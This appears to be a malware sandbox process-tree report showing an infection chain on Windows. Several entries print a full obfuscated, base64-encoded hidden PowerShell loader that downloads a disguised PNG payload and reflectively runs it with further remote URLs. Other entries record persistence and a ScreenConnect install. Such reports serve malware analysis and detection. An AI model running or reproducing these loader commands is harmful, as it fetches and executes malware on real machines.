Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 8048 -ip 80481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2916 -ip 29161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 9192 -ip 91921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4272 -ip 42721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 8048 -ip 80481⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 744 -p 5672 -ip 56721⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exeC:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\5.exeC:\Users\Admin\AppData\Local\Temp\a\5.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
- Adds Run key to start application
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 13544 -ip 135441⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 41648D8DB58D9711C45B3D3060A0C526 C2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI48E2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240798125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- System Location Discovery: System Language Discovery
-
-
-
